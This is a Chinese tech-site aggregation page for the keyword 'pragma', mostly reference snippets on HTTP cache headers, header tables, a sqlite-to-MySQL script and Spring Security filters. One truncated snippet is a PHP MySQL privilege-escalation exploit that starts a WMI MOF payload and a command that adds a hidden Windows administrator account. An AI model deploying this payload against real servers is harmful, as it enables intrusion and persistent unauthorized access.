pragma相关知识
-
php header cachephp header()中的cache有四种标识头:Last-Modified,Expires,Pragma: no-cache,Cache-Control。以下的测试环境为谷歌浏览器,其余的未测试Last-Modified:在判断缓存的时候,If-Modified-Since会将此值发送给服务器。Expires:后面的日期用于标识缓存在什么时候过期Pragma:尽量用Cache-Control替代Cache-Control:可以有如下的值:public:可以在任何地方缓存,包括浏览器、代理等private:只能被浏览器缓存,共享缓存不可被缓存no-cache:不缓存no-store:no-transform:must-revalidate:缓存必须检查更新版本proxy-revalidate:代理缓存必须检查更新版本max-age:内容能够被缓存的时期,以秒表示s-maxage:覆盖共享缓存的max-age设置下面看看Last-Modified1.php<?php$cache_expir
-
MySQL远程提权php版<?php $mysql_server_name='localhost';$mysql_username='root';$mysql_password='';$mysql_database='mysql';$conn=mysql_connect($mysql_server_name,$mysql_username,$mysql_password,$mysql_database);$cmdshell="net user admin$ qwe!@#123qwe /add";$payload = "#pragma namespace(\"\\\\\\\\.\\\\root\\\\subscription\") instance of __EventFilter as \$EventFilter{EventNamespace = \"
-
sqlite迁移到mysql脚本的方法废话不多说了,直接给大家贴代码了,具体代码如下所示:?#! /usr/bin/perl## based on https://stackoverflow.com/a/87531/5742651# usage: sqlite3 .dump database_name.sqlite3 | perl sqlite2mysql.pl | mysql -u root -p $import_database_name## ignore follow lines:# BEGIN TRANSACTION# COMMIT# sqlite_sequence # CREATE UNIQUE INDEX# PRAGMA foreign_keys=OFF# "tablename/field" => `tablename/field`# booleans 't' and 'f' => 1 and 0# AUTOI
-
Expires和Cache-Control?Expires要求客户端和服务端的时钟严格同步。HTTP1.1引入Cache-Control来克服Expires头的限制。如果max-age和Expires同时出现,则max-age有更高的优先级。 Cache-Control: no-cache, private, max-age=0 ETag: abcde Expires: Thu, 15 Apr 2014 20:00:00 GMT Pragma: private Last-Modified: $now // RFC1123 format
pragma相关课程
pragma相关教程
- 1.2 Http 响应 响应就是服务器收到我们的 request 之后给我们返回的数据,同样记录一下响应头:Header解释示例Accept-Ranges表明服务器是否支持指定范围请求及哪种类型的分段请求Accept-Ranges: bytesAge从原始服务器到代理缓存形成的估算时间(以秒计,非负)Age: 12Allow对某网络资源的有效的请求行为,不允许则返回405Allow: GET, HEADCache-Control告诉所有的缓存机制是否可以缓存及哪种类型Cache-Control: no-cacheContent-Encodingweb服务器支持的返回内容压缩编码类型Content-Encoding: gzipContent-Language响应体的语言Content-Language: en,zhContent-Length响应体的长度Content-Length: 348Content-Location请求资源可替代的备用的另一地址Content-Location: /index.htmContent-MD5返回资源的MD5校验值Content-MD5: Q2hlY2sgSW50ZWdyaXR5IQ==Content-Range在整个返回体中本部分的字节位置Content-Range: bytes 21010-47021/47022Content-Type返回内容的MIME类型Content-Type: text/html; charset=utf-8Date原始服务器消息发出的时间Date: Tue, 15 Nov 2010 08:12:31 GMTETag请求变量的实体标签的当前值ETag: “737060cd8c284d8af7ad3082f209582d”Expires响应过期的日期和时间Expires: Thu, 01 Dec 2010 16:00:00 GMTLast-Modified请求资源的最后修改时间Last-Modified: Tue, 15 Nov 2010 12:45:26 GMTLocation用来重定向接收方到非请求URL的位置来完成请求或标识新的资源Location: https://www.imooc.com/wiki/androidlesson/Pragma包括实现特定的指令,它可应用到响应链上的任何接收方Pragma: no-cacheProxy-Authenticate它指出认证方案和可应用到代理的该URL上的参数Proxy-Authenticate: Basic
- 1.1 Http 请求 请求头的内容有很多,这里给大家做一个记录当做资料,不需要都记住,在实际使用中用到可以过来查阅即可。Header解释示例Accept指定客户端能够接收的内容类型Accept: text/plain, text/htmlAccept-Charset浏览器可以接受的字符编码集。Accept-Charset: iso-8859-5Accept-Encoding指定浏览器可以支持的web服务器返回内容压缩编码类型。Accept-Encoding: compress, gzipAccept-Language浏览器可接受的语言Accept-Language: en,zhAccept-Ranges可以请求网页实体的一个或者多个子范围字段Accept-Ranges: bytesAuthorizationHTTP授权的授权证书Authorization: Basic QWxhZIRpbjpvcGAuIHNlc2FtZQ==Cache-Control指定请求和响应遵循的缓存机制Cache-Control: no-cacheConnection表示是否需要持久连接。(HTTP 1.1默认进行持久连接)Connection: closeCookieHTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。Cookie: $Version=1; Skin=new;Content-Length请求的内容长度Content-Length: 348Content-Type请求的与实体对应的MIME信息Content-Type: application/x-www-form-urlencodedDate请求发送的日期和时间Date: Tue, 15 Nov 2010 08:12:31 GMTExpect请求的特定的服务器行为Expect: 100-continueFrom发出请求的用户的EmailFrom: user@email.comHost指定请求的服务器的域名和端口号Host: https://www.imooc.com/wiki/androidlesson/If-Match只有请求内容与实体相匹配才有效If-Match: “737060cd8c284d8af7ad3082f209582d”If-Modified-Since如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMTIf-None-Match如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变If-None-Match: “737060cd8c284d8af7ad3082f209582d”If-Range如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为EtagIf-Range: “737060cd8c284d8af7ad3082f209582d”If-Unmodified-Since只在实体在指定时间之后未被修改才请求成功If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMTMax-Forwards限制信息通过代理和网关传送的时间Max-Forwards: 10Pragma用来包含实现特定的指令Pragma: no-cacheProxy-Authorization连接到代理的授权证书Proxy-Authorization: Basic QWxhZGbpbjpAcGVuIHNlc2FtZQ==Range只请求实体的一部分,指定范围Range: bytes=500-999Referer先前网页的地址,当前请求网页紧随其后,即来路https://www.imooc.com/wiki/androidlesson/TE客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息TE: trailers,deflate;q=0.5Upgrade向服务器指定某种传输协议以便服务器进行转换(如果支持)Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11User-AgentUser-Agent的内容包含发出请求的用户信息User-Agent: Mozilla/5.0 (Linux; X11)Via通知中间网关或代理服务器地址,通信协议Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)Warning关于消息实体的警告信息Warn: 199 Miscellaneous warning
- 2.3 常用内置过滤器的具体说明 内置过滤器的参数设置通过 HttpSecurity 相应的配置方法完成。2.3.1 ChannelProcessingFilterChannelProcessingFilter 的用于检测请求的通道,例如 Http 或 Https 等,可以实现访问请求在不同通道间的跳转。ChannelProcessingFilter 的配置通过 HttpSecurity.requiresChannel() 方法获取。例如:强制使用 Https 通道访问。http.requiresChannel().antMatchers("/users").requiresSecure();2.3.2 ConcurrentSessionFilter此过滤器在默认情况下出现两次,其工作内容大致分两步:判断 Session 是否存在,如果存在则获取,否则结束;判断 Session 是否过期,如果过期则执行退出操作,否则更新 Session 时间。ConcurrentSessionFilter 的配置通过 HttpSecurity.sessionManagement() 方法获取。例如:设置 Session 无效时的跳转 URL。http.sessionManagement().invalidSessionUrl("/login");2.3.3 WebAsyncManagerIntegrationFilterWebAsyncManagerIntegrationFilter 用于关联 SecurityContext 上下文。此过滤器无配置公布的方法。2.3.4 SecurityContextPersistenceFilterSecurityContextPersistenceFilter 用于从 Session 构建 SecurityContext。具体分为两步:请求开始时,将 SecurityContextRepository 中的 SecurityContext 对象存入 SecurityContextHolder;请求完成时,清理 SecurityContextHolder 中的 SecurityContext 对象,并产生新的 SecurityContext 对象放入到 SecurityContextRepository 中,以保证并发环境下的数据一致性。SecurityContextPersistenceFilter 的配置通过 HttpSecurity.securityContext() 方法获取。2.3.5 HeaderWriterFilterHeaderWriterFilter 用于往请求头或响应头里写入信息。HeaderWriterFilter 的配置通过 HttpSecurity.headers() 方法获取。默认支持的 Header 包括:Header [name: X-Content-Type-Options, values: [nosniff]]Header [name: X-XSS-Protection, values: [1; mode=block]]Header [name: Cache-Control, values: [no-cache, no-store, max-age=0, must-revalidate]]Header [name: Pragma, values: [no-cache]]Header [name: Expires, values: [0]]2.3.6 CorsFilterCorsFilter 用于配置跨域请求策略。当一个请求中,来源与目标的协议、主机名、端口三者任一不同,即为跨域,在实际开发中如果遇到类似 header is present on the requested resource. 的错误时,往往是因为跨域配置不正确导致。CorsFilter 的配置通过 HttpSecurity.cors() 方法获取。例如,禁用跨域验证:http.cors().disable();2.3.7 CsrfFilterCsrfFilter 用于验证消息来源,防范跨站请求伪造,此项功能需要前端的配合。CsrfFilter 的配置通过 HttpSecurity.csrf() 方法获取。例如,禁用 Csrf:http.csrf().disable();2.3.8 LogoutFilterLogoutFilter 用于注销登录状态。LogoutFilter 的配置通过 HttpSecurity.logout() 方法获取。例如,设置退出后的跳转页面。http.logout().logoutSuccessUrl("/login");2.3.9 UsernamePasswordAuthenticationFilterUsernamePasswordAuthenticationFilter 用于处理用户名、密码认证。UsernamePasswordAuthenticationFilter 的配置通过 HttpSecurity.formLogin() 方法获取。例如,设置用户名参数为「mobile」:http.formLogin().usernameParameter("mobile")UsernamePasswordAuthenticationFilter Spring Security 认证中较为常用的过滤器,我们会在后续章节重点展开。2.3.10 ExceptionTranslationFilterExceptionTranslationFilter 用于异常事件处理。异常事件有前述过滤器抛出,异常共分为 2 类,一类是认证异常,另一类是权限异常。ExceptionTranslationFilter 的配置通过 HttpSecurity.exceptionHandling() 方法获取。ExceptionTranslationFilter 同样较为常用,将在后续章节中重点展开。
- 10. mq技术选型 分布式电商系统
- 13-27 redis拓展 - 基于zset的数据 Spring Cloud分布式微服务实战
- 12-项目发布 uin-app
pragma相关搜索
-
pack
package
package文件
padding
pages
page对象
panda
panel
panel控件
param
parameter
parcel
parent
parentnode
parents
parse
parse error
parseint
partition
pascal